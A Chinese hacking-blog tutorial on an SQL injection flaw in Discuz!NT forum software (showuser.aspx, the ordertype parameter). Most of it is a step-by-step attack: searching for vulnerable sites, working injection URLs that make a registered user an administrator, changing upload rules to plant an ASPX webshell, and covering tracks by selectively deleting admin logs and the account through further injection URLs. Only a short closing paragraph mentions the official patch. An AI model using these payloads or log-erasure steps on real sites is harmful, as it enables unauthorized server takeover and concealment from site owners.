蜗蜗侠's Blog-关注网络安全移动版

主页 > 黑客/白帽 > Linux_Kali >

Discuz!NT漏洞

Discuz!NT 是一款功能强大的基于ASP.net平台的社区软件,默认支持SQLServer数据库,还可以扩展支持Access、MySQL等多种数据库,支持多种 其他论坛的数据转换。但前些日子,却发现了一个非常严重的安全漏洞,产生痘痘的文件为showuser.aspx,这个文件在对变量ordertype的 处理中过滤不严格,导致出现了SQL注入漏洞。利用这个漏洞构造SQL语句可以直接获取论坛管理员权限并登陆后台得到Webshell,危害相当的大,希 望使用这个程序的各位尽快打好补丁,以免被恶意攻击。

我 们今天要测试的存在安全漏洞的网站,漏洞的利用是相当的简单,我们只需要一个浏览器就可以,不需要任何多余的工具(当然了,需要上传的木马还是得准备一 个),如果我们想寻找使用了这套程序的网站,可以打开谷歌,以“Powered by Discuz!NT”作为关键词进行搜索就可以找到许多。

 

一.注册用户


这 一步并非必须的,如果大家懂SQL语句的话,完全可以更改任意用户的密码,或者是直接在数据库里插入一个管理员,不过这需要对Discuz!NT的数据库 要一定的了解才行,本文我仍然采用大众化的操作来进行介绍。首先注册一个名为hackest的用户(密码可以随便设置,但是要在6位以上)。

 

如果我们遇到某些关闭了注册的网站,可以直接更改某个不是十分重要的用户的密码来达到目的,直接访问showuser.aspx文件就可以显示出这个论坛中所有用户列表了,比如我们直接访问xxx论坛(当然了,为了对他人造成的影响最小化,所以我们自己注册一个)。

 

二.提升为管理员


注册完毕后会自动登录,事实上这个漏洞即使不登录也可以利用的。我们直接在浏览器中执行把自己提升为管理员的SQL语句:http://discuznt.xxxx.com/showuser.aspx?ordertype=desc;update%20dnt_users%20set%20adminid=%271%27,groupid=%271%27%20where%20username=%27hackest%27;--。

这个SQL语句的作用就是把用户名(username)为hackest的用户添加到管理员用户组(proupid=1),执行完后要刷新一下才能看到用户hackest的组别已经变成管理员了。


三.获取Webshell


好了,现在已经是管理员权限了,利用简单吧!只要一条SQL语句就可以搞定了。接下来就是如何获取Webshell了,提升为管理员后需要重新登录一下才可以看到进入后台的系统设置。

登录管理后台,点击“帖子”→“帖子相关”→“附件类型尺寸”,然后把原来的rar类型改为aspx,再点击“保存附件修改”。

程序会提示操作成功执行,我们不必理会它,就在拿到前台发帖或者编辑的帖子,通过上传附件直接上传ASPX的马。

上 传完毕后再来到后台管理页面,选择“论坛”→“论坛维护”→“管理附件”→“搜索附件”,这样搜索出来的是全部的附件,我们上传的马一般是在最后一页,附 件较多的话可以直接跳转到最后一页去查看。我们可以看到马儿已经乖乖的躺在那里等着我们了。我们直接点击访问,就自动跳转到Webshell的登录入口 了,我们登陆进去看看吧!

到了这里就成功得到了Webshell,整个漏洞利用过程非常简单

本帖隐藏的内容

http://discuznt.xxxx.com /showuser.aspx?ordertype=desc;update%20dnt_users%20set%20adminid=%271%27,groupid=%271 %27%20where%20username=%27hackest%27;--。

吧!最后我们还得做一些收尾工作,来处理掉我们所留下的操作日志(要养成良好的黑客习惯,不要嫌麻烦),我们先使用我们的马别的目录上传一个马,再在之前 上传附件的地方编辑掉所改的帖子,然后参照刚才修改允许上传后缀的方法把aspx改回rar(其实就是一个复原过程了),我们在在后台管理页面找到“其 他”→“运行记录”→“后台日志”,选择操作者为我们注册的用户名的日志,然后进行删除,(注意,一般不要全部删除,删除日志也是需要技巧的,全部删除的 话会令人生疑,只要把与自己相关的删除掉就可以了)。

或者我们使用SQL语句删除也可以,执行如下的SQL语句也能够达到同样的效果:http://discuznt.xxxx.com/showuser.aspx?ordertype=desc;delete%20from%20dnt_adminvisitlog%20where%20username=%27hackest%27;--。最后再删除掉我们注册的用户,执行以下这条SQL语句:http://discuznt.xxxx.com/showuser.aspx?ordertype=desc;delete%20from%20dnt_users%20where%20username=%27hackest%27;--就可以了。

 

四.漏洞修补

 

Discuz!官方的漏洞响应速度还是很快的,对这个漏洞已经发布了相应的补丁程序。我们可以到官方下载补丁包,里面有两个dll文件,使用ftp上传替换就可以了。最后呼吁一下:技术不是为了破坏而诞生的,请为你的工作行为负责!

(责任编辑:蜗蜗侠)